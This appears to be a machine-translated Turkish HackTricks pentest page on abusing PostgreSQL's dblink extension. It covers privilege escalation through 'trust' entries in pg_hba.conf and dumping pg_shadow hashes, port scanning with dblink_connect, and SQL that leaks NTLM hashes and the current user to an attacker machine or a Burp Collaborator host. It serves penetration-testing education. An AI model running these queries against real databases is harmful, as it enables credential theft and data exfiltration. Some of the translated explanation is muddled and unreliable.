Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Bu saldırılar hakkında daha fazla bilgiyi orijinal makalede bulabilirsiniz.

PostgreSQL 9.1'den beri, ek modüllerin kurulumu basittir. Kayıtlı uzantılar gibi dblink, CREATE EXTENSION ile kurulabilir:

CREATE EXTENSION dblink;

Dblink yüklendikten sonra bazı ilginç hileler yapabilirsiniz:

Ayrıcalık Yükseltme

pg_hba.conf dosyası, parolayı bilmeye gerek duymadan herhangi bir kullanıcı olarak localhost'tan bağlantıları izinleyebilecek şekilde yanlış yapılandırılmış olabilir. Bu dosya genellikle /etc/postgresql/12/main/pg_hba.conf konumunda bulunur ve yanlış bir yapılandırma şu şekildedir:

local    all    all    trust

Not edin ki bu yapılandırma, yöneticinin unutması durumunda bir db kullanıcısının şifresini değiştirmek için yaygın olarak kullanılır, bu y yüzden bazen bunu bulabilirsiniz. Ayrıca, pg_hba.conf dosyasının sadece postgres kullanıcısı ve grubu tarafından okunabilir ve sadece postgres kullanıcısı tarafından yazılabilir olduğunu unutmayın.

Bu durum, hedefin içinde zaten bir kabuğunuz olduğunda kullanışlıdır çünkü size postgresql veritabanına bağlanmanıza izin verecektir.

Başka bir olası yanlış yapılandırma şu şekildedir:

host    all     all     127.0.0.1/32    trust

Herkesin yerel sunucudan herhangi bir kullanıcı olarak veritabanına bağlanmasına izin vereceği için. Bu durumda ve eğer dblink fonksiyonu çalışıyorsa, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak ayrıcalıkları yükseltebilir ve erişmemeniz gereken verilere erişebilirsiniz:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Port Tarama

dblink_connect kötüye kullanarak açık portları arayabilirsiniz. Eğer bu **fonksiyon çalışmazsa, belgelendirmeye göre dblink_connect_u() kullanmayı denemelisiniz çünkü dblink_connect_u()'nın dblink_connect() ile aynı olduğu, ancak non-super kullanıcıların herhangi bir kimlik doğrulama yöntemini kullanarak bağlanmasına izin verdiği belirtilmektedir.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

dblink_connect veya dblink_connect_u kullanmadan önce, aşağıdaki komutu çalıştırmanız gerekebilir:

CREATE extension dblink;

UNC yolu - NTLM hash ifşası

Bir hedef ağda NTLM hash ifşası yapmak için UNC yolu kullanılabilir. UNC yolu, ağdaki bir kaynağa erişmek için kullanılan bir yol belirtir. Bu yöntem, hedef ağdaki bir kaynağa bağlanmak için NTLM kimlik doğrulamasını gerektiren bir işlem gerçekleştirir.

NTLM hash ifşası, hedef ağdaki bir kullanıcının NTLM hash değerini elde etmek anlamına gelir. Bu hash değeri, kullanıcının parolasının şifrelenmiş bir sürümüdür. NTLM hash ifşası, saldırganın bu hash değerini çalarak kullanıcının kimlik doğrulamasını geçersiz kılmasına olanak tanır.

UNC yolu kullanarak NTLM hash ifşası yapmak için, saldırgan bir UNC yoluyla hedef ağdaki bir kaynağa erişmeye çalışır. Bu işlem sırasında, saldırganın kimlik doğrulaması gerektiren bir NTLM meydan okuması alır. Saldırgan, bu meydan okumayı yanıtlamak için kullanıcının NTLM hash değerini kullanır.

NTLM hash ifşası, saldırganın hedef ağdaki kullanıcının kimlik bilgilerini ele geçirmesine ve ağa yetkisiz erişim sağlamasına olanak tanır. Bu nedenle, hedef ağın güvenliğini sağlamak için NTLM hash ifşasına karşı önlemler alınmalıdır.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Last updated